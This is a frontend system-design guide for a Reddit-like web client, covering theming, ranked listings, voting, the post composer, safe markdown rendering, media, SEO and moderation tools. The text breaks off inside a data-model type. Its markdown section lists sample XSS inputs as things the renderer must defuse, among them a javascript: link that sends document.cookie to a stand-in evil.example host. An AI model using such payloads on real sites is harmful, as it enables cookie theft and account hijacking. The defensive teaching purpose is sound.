Design Reddit

Requirements: the questions that make Reddit its own problem

"Design Reddit" can sound like "design a feed with comments", but two big parts of it are already solved in other guides. The Comments thread guide covers the comment tree, "load more" stubs, sorting comments by a confidence score, optimistic replies, and permalinks. The News feed guide covers infinite listings, cursor paging, and keeping a long list fast. This guide links to those and spends its time on what only Reddit has.

What only Reddit has is the community as the unit of everything. A post lives in one subreddit, and the subreddit decides how the page looks, which rules apply, which flairs a post can carry, and who can moderate. Ranking is per community and changes by the minute. And a post page is two products at once: a fast public web page for the search visitor, and an app screen with voting and replying for the member.

So the first five minutes go to scope. Each answer below moves the design. The table shows what this guide assumes and what changes if the interviewer says something else.

Functional requirements

• Show a community page at /r/name: banner, icon, name, member count, join button, a ranked listing of posts, and a sidebar with rules, flairs, and widgets, all in the community's colors.
• Show listings sorted by hot, new, top (with a time window), rising, or controversial, with the choice kept in the URL, and keep loading more as the reader scrolls.
• Let signed-in members upvote, downvote, or clear a vote on any post or comment, with the score and arrow changing at once.
• Let members submit text, link, image, gallery, video, and poll posts, pick a flair, mark NSFW or spoiler, and keep a draft if they leave.
• Render post and comment markdown, including Reddit extras like spoilers and superscript, safely.
• Serve each post page at a stable URL with a readable slug, as full HTML for crawlers and guests, with the comment thread below it.
• Give moderators remove, approve, lock, and flair controls on posts and comments, a mod queue, and removal reasons the author can see.

Non-functional requirements

• Fast first view for guests: Largest Contentful Paint (the moment the biggest element, usually the post title or image, is drawn) under 2.5 seconds on a mid-range phone on 4G, which is Google's "good" threshold.
• Responsive voting: the arrow and score react within one frame (16 ms) of the tap. The network call can take 300 ms or fail; the reader should not wait for it.
• Readable in every community: no community color choice can make text or buttons unreadable. Text keeps a contrast ratio of at least 4.5 to 1, the WCAG AA level.
• Safe: user markdown and community settings can never run script in another reader's browser.
• Stable lists: paging never shows the same post twice and never jumps the page under the reader's finger.
• Accessible: every control works by keyboard, vote state is announced to screen readers, and autoplay respects reduced motion.

Out of scope, and why

• The comment tree itself: the Comments thread guide covers it in depth. We only show where it plugs into the post page.
• Chat and direct messages: the Chat app guide covers them.
• Ranking and spam detection on the server: we treat the listing API as a black box that returns ranked pages, but we explain the formulas because they shape client behavior.
• Native apps, ads, and payments for awards: they don't change the web client design much.

What makes Reddit hard

Before drawing boxes, name the forces. Every later decision traces back to one of these five.

1. Thousands of owners for one page template

Reddit's engineers own the code, but over 100,000 communities own the content and part of the look. A moderator of r/halloween picks black and orange; a moderator of r/aww picks pale pink. The same PostCard component must stay readable on both, with no engineer in the loop. That means the theming system has to check and repair inputs, not just apply them.

2. Rankings that move while you read

The hot listing of a busy community is re-ranked every few minutes as votes arrive. A reader who loads page 1 at 10:00 and scrolls to page 2 at 10:04 is asking for "the next 25 after the post I last saw" in a list that has already shuffled. Some posts will have moved down past the cursor and come back; some will have moved up and be skipped. The client has to handle that gracefully instead of pretending the list is frozen.

3. Votes are tiny, frequent, and adversarial

A vote is the most common write on the site. It must feel instant, so the client updates first and asks the server second. But votes are also what spammers and vote manipulators attack, so the server hides exact counts and may reject or quietly ignore votes. The client shows a number it does not fully control, and must never make it flicker or jump backwards in a way that looks broken.

4. Almost every byte is untrusted input

Post titles, bodies, comment markdown, flair text, rule text, sidebar widgets, link previews, image files, and community colors all come from users. Any of them can try to inject script, break layout, or hide content. The client renders all of it, so it has to treat every field as hostile until it is escaped, sanitized, or validated.

5. One URL, two audiences

A post URL like /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/ is a search landing page for a signed-out stranger and an interactive screen for a member who wants to vote and reply. The first audience needs fast, cacheable HTML with no personal data. The second needs their vote state, their join state, and moderator tools. Serving both from one URL without slowing either is the core rendering problem.

Communities as the core unit

On most social sites the person is the center: you follow people, and your feed is theirs. On Reddit the community is the center: a subreddit is a named space with its own members, moderators, rules, flairs, look, and ranked listing. Even the home feed is mostly a merge of the communities you joined. So the first design question is: what is a community, as data the client receives?

The parts of a community page

• Header: banner image, round icon, display name like r/cooking, member count, "online now" count, and a Join button. It wears the community's colors.
• Sort bar: Hot, New, Top (with a time window menu), Rising, and a view toggle (card or compact). It writes to the URL.
• Listing: post cards. Each card shows a vote column, the title, a flair chip, tags like NSFW or spoiler, a preview (text snippet, image, video, link card, or poll), and a comment count.
• Sidebar: a description, the rules as a numbered list that can expand, post flairs to filter by, moderator list, and custom widgets (a list of related communities, a calendar, a button bar, an image).
• Moderator bar, only for moderators: a mod queue count, links to mod tools, and per-post actions on each card.

Settings as data, not code

Everything the moderators customize must arrive as plain, typed data that our components render. A moderator never ships code to our page. This one rule is what lets 100,000 communities customize without each one becoming a security or support problem. The community object the client gets looks like this:

type Community = {
  id: string;              // fullname, like "t5_2qh1e"
  name: string;            // "cooking", the URL key
  title: string;           // "Cooking: recipes and help"
  icon: ImageRef | null;
  banner: ImageRef | null;
  theme: { key: string; base: string; pinned?: string; dark?: { key: string; base: string } }; // raw hex, unchecked
  subscribers: number;
  over18: boolean;
  submitTypes: ("text" | "link" | "image" | "video" | "poll")[];
  rules: { short: string; description: string; kind: "post" | "comment" | "all" }[];
  postFlairs: Flair[];     // the flairs a poster can pick
  widgets: Widget[];       // typed sidebar widgets
  viewer: { joined: boolean; isMod: boolean; modPerms: ModPerm[] }; // per viewer
};
type Flair = { id: string; text: string; bg: string; textColor: "dark" | "light"; modOnly: boolean };
type Widget =
  | { kind: "text"; title: string; markdown: string }
  | { kind: "community-list"; title: string; names: string[] }
  | { kind: "button-bar"; buttons: { label: string; url: string }[] }
  | { kind: "image"; image: ImageRef; linkUrl?: string };

Notice three things. First, viewer is the only per-person part. Everything else is the same for every reader, so the server can cache it and the CDN can serve it to guests, which is why the API splits a public community document from a small viewer document.

Second, widgets are a closed set of kinds: a new kind means new code from Reddit's engineers, reviewed and tested, never moderator-supplied markup. Third, the flair has textColor: "dark" | "light" instead of any color: a small, safe choice, which we come back to in the theming chapter.

Rules and flairs on the client

Rules show in three places: the sidebar, the composer (so posters read them before submitting), and the removal message ("Removed: Rule 3, no memes"). Keeping them as one list with stable indexes lets every place refer to "rule 3" the same way. Flairs show on post cards, in the composer's flair picker, and as filters in the sidebar. Clicking a flair filter opens a search listing for that flair in that community, so the filter goes in the URL like any other listing choice.

Some communities require a flair before you can post, and some flairs are mod-only ("Solved", "Official"). The composer reads postFlairs and filters out modOnly ones for regular members. The server still checks: the client filter is a convenience, not security.

How the page loads

Community theming: tokens, custom properties, and contrast repair

A community's look is part of its identity. The question is how much power to give moderators. Reddit has tried both ends, which makes it a great interview story.

The old way: a stylesheet per community

On old Reddit (still at old.reddit.com), each community has a stylesheet that its moderators write by hand, and some communities built remarkable designs with it. But a stylesheet can do anything CSS can do: hide the downvote arrow, hide the report button, push the rules off screen, set gray text on a gray background, or break the layout on phones.

Old Reddit also had to filter what the CSS could load: images had to be uploaded to the community instead of pulled from any URL. The reason is that CSS can leak data. An attribute selector plus a background-image URL can tell an outside server what is on the page.

The biggest cost is less obvious. Every community stylesheet targets the site's class names and DOM structure. Once thousands of communities depend on .thing .midcol .arrow.down, the platform team cannot rename a class or restructure a card without breaking them: the custom CSS has become a frozen public API. Reddit's redesign did not carry custom CSS forward and offers a fixed set of appearance settings instead.

The options

From a moderator's color to CSS custom properties

CSS custom properties (variables whose names start with two dashes, like --community-button) cascade: set them on the community page's root element and every component inside reads them with the var() function. Components never see the raw moderator values. They read derived tokens that the platform computed and checked: a background, a text color that reads on it, a button color, a link color, a focus ring color.

/* Written by the page server from the checked tokens, on the page root */
.community-root {
  --community-button: #ffd635;
  --community-on-button: #1a1a1b;
  --community-link: #806500;
  --community-focus: #a88500;
}
/* Our components read only the derived tokens */
.join-button {
  background: var(--community-button);
  color: var(--community-on-button);
}
.join-button:focus-visible { outline: 2px solid var(--community-focus); }
.post-body a { color: var(--community-link); }

The values above are what the repair below produces for a bright yellow on a white page: the button keeps the moderator's yellow with near-black text, and links and the focus ring use darker shades of the same hue. Here is the check itself:

function luminance(hex: string): number {
  const [r, g, b] = [1, 3, 5].map((i) => {
    const c = parseInt(hex.slice(i, i + 2), 16) / 255;
    return c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
  });
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}
function contrast(a: string, b: string): number {
  const [hi, lo] = [luminance(a), luminance(b)].sort((x, y) => y - x);
  return (hi + 0.05) / (lo + 0.05);
}
// Pick the readable text color for a filled surface.
const onColor = (bg: string) =>
  contrast(bg, "#FFFFFF") >= contrast(bg, "#1A1A1B") ? "#FFFFFF" : "#1A1A1B";

This is the WCAG contrast ratio. It runs from 1 (same color) to 21 (black on white). WCAG AA asks for 4.5 to 1 for normal text and 3 to 1 for large text (success criterion 1.4.3), and 3 to 1 for the edges of controls and focus rings (1.4.11, Non-text Contrast). The Visual accessibility lesson explains where the numbers come from, and real values show why a check is needed:

The repair step is simple: if neither text color reaches 4.5, move the color toward black (or toward white in dark mode) in small steps of lightness until one does. Keep the hue, so r/halloween stays orange, just a deeper orange. The same applies to the key color, which Reddit uses for links: test it against the page background and darken until it reaches 4.5.

function ensureReadable(bg: string, scheme: "light" | "dark"): string {
  let color = bg;
  for (let step = 0; step < 20; step++) {
    if (Math.max(contrast(color, "#FFFFFF"), contrast(color, "#1A1A1B")) >= 4.5) return color;
    color = shiftLightness(color, scheme === "light" ? -0.04 : 0.04); // HSL, keep hue
  }
  return scheme === "light" ? "#1A1A1B" : "#FFFFFF"; // last-resort fallback
}

Where the check runs, and dark mode

• In the settings UI, live: the moderator sees the preview and a note like "We darkened your button color so text stays readable". No surprise later.
• On the server at save, as the real gate: store the raw choice and the derived tokens for both light and dark schemes.
• In server rendering, inline the derived tokens as a style on the page root, so the first paint already has the right colors. Loading them with JavaScript would flash the default theme first.
• Dark mode: a background color picked for a white page is often wrong on a dark one. Reddit lets moderators set dark-mode colors separately; when they don't, derive them. Either way, check a second set for prefers-color-scheme: dark and switch with a media query or a data-theme attribute; never reuse the light tokens.
• Images: banners are user images, so text never sits on top of them without a solid or gradient scrim behind it.

Listings: hot, new, top, rising, controversial, and paging through a moving list

A listing is a ranked list of posts: one community's hot posts, the top posts of the week across all of Reddit, a user's submissions. The client never ranks; the server does. But the ranking rules decide how the list moves while someone reads it, and that decides how the client pages, caches, and removes duplicates. So we start with the formulas.

Hot: votes on a log scale, plus time

Reddit published its original ranking code when the site was open source. The hot sort lives in a file called _sorts.pyx. Reddit stopped updating that public code in 2017 and today's ranking may differ, but the formula is still the clearest way to understand the sort, and it is a classic interview topic:

// Port of _hot() from Reddit's archived open-source code (r2/lib/db/_sorts.pyx)
function hot(ups: number, downs: number, createdSec: number): number {
  const s = ups - downs;
  const order = Math.log10(Math.max(Math.abs(s), 1));
  const sign = s > 0 ? 1 : s < 0 ? -1 : 0;
  const seconds = createdSec - 1134028003; // a fixed date in December 2005
  return Math.round((sign * order + seconds / 45000) * 1e7) / 1e7;
}

Read it in two halves. The vote part is a log: going from 10 to 100 net votes adds 1, and going from 100 to 1,000 also adds 1. The time part adds 1 for every 45,000 seconds, which is 12.5 hours. So a post 12.5 hours newer needs one tenth of the votes to rank the same: a post made at 08:00 with 1,000 net votes ties with one made at 20:30 with 100.

The surprising part: there is no "age" in the formula, only the creation time, so a post's hot score never goes down as time passes. Old posts sink because new posts arrive with bigger time values. The order between two existing posts changes only when their votes change, and new posts can enter anywhere near the top. Both of those move items across page boundaries while a reader scrolls.

The other sorts

The old controversy formula is worth one example. A post with 100 up and 90 down has 190 votes and a balance of 0.9, so its score is 190 to the power 0.9, about 112. A post with 1,000 up and 100 down has 1,100 votes but a balance of 0.1: about 2. Big and split beats big and one-sided.

Sort and time window belong in the URL

The sort and window are what the reader is looking at, so they go in the path and query string, as the URL-as-state lesson explains: shareable, bookmarkable, back-button friendly, and a natural cache key. Changing the sort is a navigation (history.pushState through the router), not a hidden state change. The window only applies to top and controversial, so the router drops t for the other sorts instead of carrying a meaningless ?t=week around.

The client's listing cache is keyed by the same parts: ["listing", "r/cooking", "top", "week"]. Switching from top-week to hot and back reuses the cached pages and scroll position instead of refetching, as long as they are recent, say under 2 minutes for hot and 10 minutes for top-week.

Paging with fullnames

Every Reddit object has a fullname: a type prefix plus a base-36 id. t1_ is a comment, t2_ an account, t3_ a post (called a link internally), t5_ a community. Listings page with after and before set to the fullname of the last or first item the client has, plus a limit (25 by default, at most 100). The response returns the next cursor:

GET /r/cooking/top.json?t=week&limit=25&after=t3_1abc2d

200 OK
{
  "kind": "Listing",
  "data": {
    "after": "t3_1abd9x",        // pass this to get the next page; null at the end
    "before": null,
    "children": [ { "kind": "t3", "data": { "name": "t3_1abc7q", "title": "...", "score": 812 } } ]
  }
}

Removing duplicates, and other edge cases

function appendPage(state: ListingState, page: ListingPage): ListingState {
  const seen = new Set(state.ids);
  const fresh = page.children.map((c) => c.data.name).filter((id) => !seen.has(id));
  return {
    ids: [...state.ids, ...fresh],
    after: page.after,
    done: page.after === null,
    droppedDupes: state.droppedDupes + page.children.length - fresh.length,
  };
}

• Duplicates: the Set check above. Count the dropped ones in telemetry: a spike means the cursor logic or caching is broken.
• A page that is all duplicates: fetch again with the new after right away, up to 2 times, so the reader doesn't hit an empty gap.
• Cursor post removed: if a page comes back empty but after was not null, retry with the fullname of the item before the cursor.
• Skipped posts (rose above the cursor): accept it. When the reader returns to the top, a "New posts" pill offers a fresh listing.
• The end: listings are capped at around 1,000 items deep. When after is null, show an end marker, not a spinner.
• Keys: React keys and DOM ids use the fullname, never the array index, so a dropped duplicate never makes a card re-mount with another post's state.

Voting at scale: three states, optimistic, and a score you don't fully control

Voting is the most frequent write on Reddit, so it must feel instant. The Poll widget and Comments thread guides already cover optimistic writes with rollback. Here we add what is special about Reddit's votes: three states per item, fast repeated taps, a displayed score the server deliberately blurs, and anti-abuse limits that can reject a vote.

Three states, six transitions

Each viewer has one vote per post: up (1), none (0), or down (-1). The two arrows are toggles. Tapping the arrow that is already on clears it; tapping the other arrow switches. The score change depends on where you start:

How the client sends votes

type Dir = 1 | 0 | -1;
type VoteSlot = { confirmed: Dir; wanted: Dir; inFlight: boolean };

async function flush(id: string, slot: VoteSlot, store: Store): Promise<void> {
  if (slot.inFlight || slot.wanted === slot.confirmed) return;
  slot.inFlight = true;
  const dir = slot.wanted;
  try {
    await api.vote(id, dir);        // POST /api/vote  id=t3_x  dir=1|0|-1
    slot.confirmed = dir;
  } catch (err) {
    slot.wanted = slot.confirmed;   // roll back to the last value the server accepted
    store.setVote(id, slot.confirmed);
    toast(isRateLimited(err) ? "You're voting too fast. Try again in a moment." : "Vote failed.");
  } finally {
    slot.inFlight = false;
  }
  if (slot.wanted !== slot.confirmed) void flush(id, slot, store); // taps that came in meanwhile
}

Displayed scores are fuzzed

Reddit's own FAQ has long said that the vote numbers it shows are "fuzzed" to stop spam bots: the server changes them slightly, so they are not the real counts. A bot that can see its vote land can tune itself until it stops getting caught, and a blurred number takes that signal away. The exact method is not public. Communities can also hide new comment scores for up to 24 hours (a moderator setting from 0 to 1,440 minutes), so early votes don't snowball.

This changes the client in three ways:

• Never do arithmetic across server values. If page 1 said 812 and a refetch says 809, that is not "3 people downvoted". Just show the newest server value.
• Show the server score plus my unconfirmed change. Keep the score the server sent and the vote that score already included (serverVote). Display serverScore - serverVote + myVote. When a fresh server value arrives with my vote counted, it replaces both, and there is no double counting.
• Don't animate fuzz. A number that ticks up and down on every refetch looks broken. Animate only the change from the viewer's own tap. Update other score changes quietly, and round big numbers ("12.4k") so small fuzz is invisible.

Rate limits, signed-out taps, and many copies of one post

• Rate limits: the server answers 429 Too Many Requests, often with a Retry-After header. Roll back the arrow and show a short message. Do not retry in a loop: that is exactly the traffic the limit exists to stop.
• Silent ignores: votes from suspicious accounts may be accepted with 200 and then not counted. The client cannot know, and should not try to.
• Signed-out taps: open the sign-in sheet and remember the intent ({ id: "t3_1abc2d", dir: 1 }). After sign-in, apply it once. The page behind the sheet must stay readable.
• One post, many places: the same post can be on the listing, the post page, and a cross-post card. Store votes in a normalized store keyed by fullname, so one tap updates every view. The News feed guide covers the normalized cache.
• Karma: a user's karma is a server number, shown as sent. Never recompute it on the client from votes; that is how negative flickers happen.

The composer: post types, uploads, link previews, drafts, flairs, and tags

The composer is a small app of its own. It has one tab per post type, and the community decides which tabs exist: r/AskReddit allows only text questions, r/pics only images. It reads the community's submitTypes, rules, and flairs, which we already have from the community document.

Link previews: who fetches the page?

When a member pastes https://example.com/article, they expect a card with the page's title and image. Someone has to fetch that page and read its og:title and og:image meta tags.

Media: upload first, submit second

Images and videos upload before the post is created. The File uploader guide covers the details; the short version is: the client asks for an upload lease (a signed URL), sends the file straight to storage, and gets back an asset id. The submit request only carries asset ids, so it stays small and fast, and a failed submit doesn't mean re-uploading 80 MB of video.

• Uploads start the moment files are picked, while the member types the title. On a 5 Mbps uplink a 4 MB photo takes 6 to 7 seconds; starting early hides most of it.
• The Post button stays enabled; if uploads are still running, it shows "Posting when uploads finish" instead of blocking.
• Galleries keep an ordered list of asset ids, so reordering never re-uploads.
• Video posts appear with a "processing" state, because transcoding can take minutes. The post page polls or listens for a ready event.

Drafts

Members lose long posts to a closed tab or a failed submit. The composer saves a draft 1 second after typing stops: first to localStorage (instant, works offline), then to the server's drafts endpoint when signed in, so the draft follows them to another device. A draft holds the community, type, title, body, flair, tags, link, and uploaded asset ids. Uploads that are not finished are not saved: their files live only in the browser tab.

Flair, NSFW, and spoiler

• Flair: the picker shows the community's post flairs, minus mod-only ones. If the community requires a flair, the Post button explains why it is not ready ("Pick a flair") instead of failing after submit.
• Rules: shown beside the composer, collapsed to their short titles, so posters see them at the moment it matters.
• NSFW (not safe for work) and spoiler: two flags on the post. In listings, an NSFW or spoiler post shows a blurred preview with a label and a reveal button. The server sends a pre-blurred, tiny thumbnail; the real image only loads after the reader clicks. A CSS filter: blur() on the real image is not enough: the full image is still downloaded and visible in network tools and to anyone with CSS turned off.
• Signed-out readers and NSFW: a gate asks them to sign in or confirm their age, depending on the law where they are. Google treats legally required gates as an exception to its interstitial guidance, but asks that the gate overlay the page instead of redirecting to a separate gate URL, so the page stays indexable while the media stays hidden.

Rendering user markdown safely

Post bodies, comments, sidebar text widgets, rules, and wiki pages are all written in markdown by users. Reddit's flavor adds a few things to standard markdown: ^word or ^(a few words) for superscript, >!this!< for an inline spoiler, ~~text~~ for strikethrough, tables, and bare r/name and u/name turning into links. Every one of those is a chance for an attacker, because the output becomes HTML in other people's browsers.

Typical attack inputs look like these. A good design makes each of them render as harmless text or a harmless link, by construction, not by hoping a filter catches them:

[free gold](javascript:fetch('//evil.example?c='+document.cookie))
<img src=x onerror="alert(1)">
>!<script>alert(1)</script>!<
^(<a href="data:text/html,...">x</a>)
[looks like reddit.com](https://reddit.com.evil.example/login)

The rules the renderer enforces

• Raw HTML is off. <img onerror=...> is shown as the literal text a reader typed.
• Links are checked by protocol after parsing the URL with new URL(): only https:, http:, and mailto: survive. javascript:, data:, and vbscript: become plain text.
• Links carry rel values ugc nofollow noopener: ugc and nofollow tell search engines this is user content and not an endorsement, noopener stops the opened page from controlling ours.
• Show the real domain. For links whose text looks like a URL but points elsewhere, show the true host on hover and in the link card. The reddit.com.evil.example trick relies on readers trusting the visible text.
• Images in comments are allowed only from Reddit's own media hosts, so a tracking pixel can't log every reader's IP.
• Nesting limits: cap quote and list depth and total node count, so a 40,000-character post of >>>>>> can't freeze the parser or the layout.

Spoilers that are actually hidden

A spoiler drawn as black text on a black background is hidden from sighted readers only. A screen reader reads it aloud at once, and copy-paste or forced-colors mode reveals it.

The component renders a button labelled "Spoiler, press to reveal". Inside it, the text keeps its width but has visibility: hidden, which means it is not drawn, not in the accessibility tree, and not shown by forced colors. On press, the text appears in the same space, so nothing else on the page moves, and focus moves to it.

function Spoiler({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const textRef = useRef<HTMLSpanElement>(null);
  useEffect(() => {
    if (open) textRef.current?.focus(); // the button is gone; keep focus in place
  }, [open]);
  if (open) return <span ref={textRef} tabIndex={-1} className="spoiler-open">{children}</span>;
  return (
    <button type="button" className="spoiler" onClick={() => setOpen(true)}>
      {/* .spoiler-mask { visibility: hidden }: keeps the width, never drawn or read */}
      <span className="spoiler-mask">{children}</span>
      <span className="sr-only">Spoiler, press to reveal</span>
    </button>
  );
}

Media in listings: images, video, and autoplay that respects the reader

A card-view listing of r/aww is mostly images and short videos. The TikTok feed and YouTube guides go deep on players and adaptive streaming; here we decide what a listing does with many media posts on screen at once.

The mechanics

The rule above is only half the work. The other half is making sure media never costs more than the reader agreed to pay, in bytes, battery, or layout jumps. These are the details that make a media-heavy listing feel light:

• Muted and inline: browsers allow autoplay with sound off. The element needs muted and playsinline as real attributes: without playsinline, iPhone Safari only plays video in its own full-screen player, so it won't autoplay in the card. Low Power Mode on iPhones can still refuse it, so play() must handle a rejection.
• Load lazily: videos outside the viewport use preload="none" and only get their stream URL attached when they come within one screen of view.
• Data saver: read the Save-Data: on request header on the server and navigator.connection.saveData where the browser supports it (Chromium). Few browsers send these signals today, so also offer a data saver switch in settings. In that mode, show posters only, request smaller image sizes, and never autoplay.
• Reserve space: every image and video card has its width and height from the post data, so the browser reserves the box before the media loads. Without it, each image that arrives pushes the cards below, which hurts Cumulative Layout Shift and makes readers tap the wrong post.
• Right-sized images: the server makes several widths of every upload. The card uses srcset and sizes so a 360-pixel-wide phone downloads a 640-pixel image, not the 4,000-pixel original. Modern formats (AVIF or WebP) cut the bytes again. The Image optimization lesson covers this.
• The LCP image: on a post page, the post's main image is usually the Largest Contentful Paint element. It gets fetchpriority="high" and no lazy loading. Every listing image below the fold gets loading="lazy".
• GIFs as video: an animated GIF is often 5 to 10 times larger than the same clip as an MP4. Convert GIF uploads to video and play them as looping, muted video.

const ratios = new Map<HTMLVideoElement, number>();
const io = new IntersectionObserver((entries) => {
  for (const e of entries) ratios.set(e.target as HTMLVideoElement, e.intersectionRatio);
  if (!autoplayAllowed()) return;  // user setting, reduced motion, data saver
  let best: HTMLVideoElement | null = null;
  for (const [v, r] of ratios) if (r >= 0.5 && (!best || r > (ratios.get(best) ?? 0))) best = v;
  for (const v of ratios.keys()) {
    if (v === best) void v.play().catch(() => {}); // autoplay can still be refused
    else v.pause();
  }
}, { threshold: [0, 0.25, 0.5, 0.75, 1] });

Signed-out readers and search: the post page as a landing page

Search for "how to fix split hollandaise" and a Reddit thread is often near the top. Reddit reports logged-out users as their own audience number to investors: in mid-2025, about 61 million of its 110 million daily active uniques were logged out, and much of that audience arrives from search engines. For those readers the post page is a landing page: a stranger on a phone, no cookie, one chance to load fast and answer the question. The LinkedIn guide covers the general one-URL, many-audiences problem; here is what changes for Reddit.

One canonical URL per post

A post URL has three parts: the community, the post id, and a slug made from the title: /r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/. Only the id identifies the post; the slug is for humans and search snippets. Reddit post titles can't be edited, so the slug only differs when a link was truncated or mistyped. That raises a question: what happens for /r/Cooking/comments/1abc2d/, a link with a mangled slug, or the same post on old.reddit.com?

• The router looks up the post by id only. Any slug works, so old shared links never break.
• If the community name's case or the slug differs from the canonical form, the server answers 301 Moved Permanently to the canonical URL. Search engines then merge signals into one URL instead of splitting them across variants.
• Every page also carries link rel="canonical" pointing to the canonical URL, including alternate front ends like the old site, so they don't compete with the main one.
• Query strings that don't change the content (?utm_source=share, ?context=3 for sharing) stay out of the canonical URL.

Rendering for guests and crawlers

• The server renders the full post and the first 50 or so top comments as HTML. The answer the searcher wants is usually in those comments, so they must be in the HTML, not loaded by script.
• Guest HTML is the same for everyone, so the CDN caches it: Cache-Control: public, s-maxage=60, stale-while-revalidate=600. A hot thread then costs one render per minute, not one per visitor.
• Requests with a session cookie skip the shared cache, or get the same cached HTML plus a small viewer request. Guest HTML must never contain a username, a vote, or a CSRF token, and a cached response must never carry Set-Cookie.
• The page includes title, a meta description from the post's first lines, Open Graph tags for link previews in other apps, and structured data.

Structured data tells search engines what the page is. Google documents a DiscussionForumPosting type for forum threads, with the comments nested as Comment objects, and uses it for features like Discussions and forums in results. Each posting and comment carries an author, a datePublished, and its text. The server writes it into the HTML as JSON-LD:

{
  "@context": "https://schema.org",
  "@type": "DiscussionForumPosting",
  "headline": "How do I fix split hollandaise?",
  "url": "https://www.reddit.com/r/cooking/comments/1abc2d/how_do_i_fix_split_hollandaise/",
  "author": { "@type": "Person", "name": "u/eggs_benedict", "url": "https://www.reddit.com/user/eggs_benedict/" },
  "datePublished": "2026-03-14T09:12:00Z",
  "text": "It went grainy after I added the butter...",
  "interactionStatistic": { "@type": "InteractionCounter", "interactionType": "https://schema.org/LikeAction", "userInteractionCount": 812 },
  "comment": [{ "@type": "Comment", "text": "Whisk a teaspoon of hot water into a clean bowl...",
    "author": { "@type": "Person", "name": "u/saucier" }, "datePublished": "2026-03-14T09:40:00Z" }]
}

The app-install prompt, and what it costs

Every social site wants mobile web readers in its app, where they come back more often, and the tempting tool is a full-screen "Open in the app" sheet. Google's search guidance is explicit: interstitials and dialogs that block the content are bad for users and can hurt search performance. It recommends small banners instead, including the browsers' own app banners. And search visitors who meet a wall go back to the results and click the next site.

Moderation tools in the UI

Reddit's communities are run by volunteer moderators. Some handle thousands of reports a day, often on a phone. Their tools live inside the same pages everyone else uses, which raises three client questions: how the page knows who may do what, what each audience sees after an action, and how to make a queue of 500 items fast to work through.

Permissions per community

Moderator rights are per community and split into areas: posts and comments, flair, users (ban, mute), settings, mod mail, and wiki. A person can be a full moderator of r/cooking, a flair-only moderator of r/baking, and a regular member everywhere else. The viewer document for each community carries the list:

type ModPerm = "all" | "posts" | "flair" | "users" | "config" | "mail" | "wiki";

const can = (viewer: CommunityViewer, perm: ModPerm) =>
  viewer.isMod && (viewer.modPerms.includes("all") || viewer.modPerms.includes(perm));

// In a post card
{can(viewer, "posts") && <ModActions postId={post.id} />}
{can(viewer, "flair") && <FlairEditor postId={post.id} />}

• The checks only decide what to render. The server checks every action again: a hidden button is a convenience, not a lock.
• Mod tools are their own code chunk, loaded with import() only when the viewer moderates the current community. The vast majority of readers, who moderate nothing, never download them.
• Mod data never goes into cached guest HTML. The mod bar and actions render on the client after the viewer document arrives, or in a server render that skips the shared cache.

What each audience sees after a removal

A removed post is not deleted: it is hidden from everyone except the author and the moderators, and each sees something different. Guests and members see [removed] in place of the body on the post page, and the post leaves listings. The author still sees their post with a notice: removed by the moderators of r/cooking, for Rule 3, with the removal reason text the moderator picked. Moderators see the full post with a red "Removed by u/name" label and an Approve button to undo it.

Automated filters work the same way. Many communities run AutoModerator, a bot with rules written by the moderators ("remove posts from accounts younger than 3 days", "filter titles containing these words for review"). When it filters a post, the author should see that at once on their post page, "Your post is waiting for moderator review", rather than discovering hours later that no one could see it. Hiding a removal from the author feels like a shadow ban and destroys trust.

The mod queue

The queue lists reported, filtered, and unmoderated items, newest or most reported first, with the reports' reasons. Three design points matter most:

• Speed: keyboard shortcuts (j and k to move, a to approve, r to remove), optimistic actions with a 5-second undo, and the next item focused automatically. Removal reasons open in a small menu whose first item is focused, so a remove with reason is three keystrokes.
• Several moderators at once: two mods may open the same item. Actions are idempotent per item ("set state to removed"), and if another mod acted first, the server replies with who did and when. The client shows "Already removed by u/sam 20 s ago" on the item, instead of an error.
• Bulk actions: select 30 spam posts and remove them in one request. The server returns a result per item, and the client marks failures individually.

User flair

User flair is a label next to a username, set per community: "Professional chef" in r/cooking, nothing in r/aww. Moderators can set it, and some communities let members pick from a list. It is part of the per-community author data that listings and comments carry, and it is user text, so it goes through the same escaping as everything else, with a short length cap so it can't push the comment off screen.

Architecture, data model, and API: server-rendered pages, islands, and web components

Reddit's web client has been rebuilt more than once, and each version is a lesson. The old site (still at old.reddit.com) was server-rendered HTML with a little jQuery: fast and light, but hard to evolve. The 2018 redesign was a large React single-page app: rich and app-like, but heavy, with a lot of JavaScript to download and run before a post was readable on a phone.

The current site, called Shreddit inside Reddit (its static files are served from a shreddit folder), went back to server-rendered HTML built from web components. Open the source of any community or post page and you'll see custom elements such as shreddit-post and shreddit-sort-dropdown in the HTML the server sent. Its script bundles include Lit, Google's small library for writing web components, and the elements upgrade in the browser as their code loads.

The pieces and why the lines are there

Islands talk through the shared stores, not to each other. When the vote island on a post card writes wanted = 1 for t3_1abc2d, every view that reads that post's vote from the entity store re-renders. With web components the same idea works with a small store module and DOM events: an island dispatches a vote-changed event that bubbles, and others subscribe.

Web components or framework islands?

• Web components (custom elements, optionally with a small library such as Lit): the browser upgrades each tag on its own, no framework runtime is needed to start an island, and teams can use them from any stack. Server rendering their shadow DOM needs Declarative Shadow DOM, which all major browsers support since early 2024.
• Framework islands (React with server components, or Astro-style islands): a bigger ecosystem and one component model for server and client. The cost is a framework runtime on the page and more care to keep static parts out of the client bundle.
• Either way, the design rules are the same: static by default, JavaScript only where there is interaction, shared state through stores, and the server as the source of first-paint HTML.

Data model: public data and viewer data

The pieces above already hold the busiest data: the entity store keeps posts, communities, and users by fullname, the listing store keeps each listing's ids and cursor, and the vote queue keeps pending votes. The key decision for everything else is splitting public data, which is the same for every reader and can be cached anywhere, from viewer data, which belongs to one person and must never sit in a shared cache. The rest of the client's data lives here:

type Fullname = `t${1 | 2 | 3 | 5}_${string}`;
type Post = {
  id: Fullname;                 // "t3_1abc2d"
  communityId: Fullname;        // "t5_2qh1e"
  authorId: Fullname | null;    // null when the account was deleted
  title: string;
  slug: string;                 // "how_do_i_fix_split_hollandaise"
  kind: "text" | "link" | "image" | "gallery" | "video" | "poll";
  body?: RichTextNode[];        // parsed on the server, never raw HTML
  link?: { url: string; domain: string; preview?: ImageRef };
  media?: { assets: ImageRef[] } | { video: VideoRef };
  flair?: { id: string; text: string };
  nsfw: boolean; spoiler: boolean;
  score: number; scoreHidden: boolean; commentCount: number;
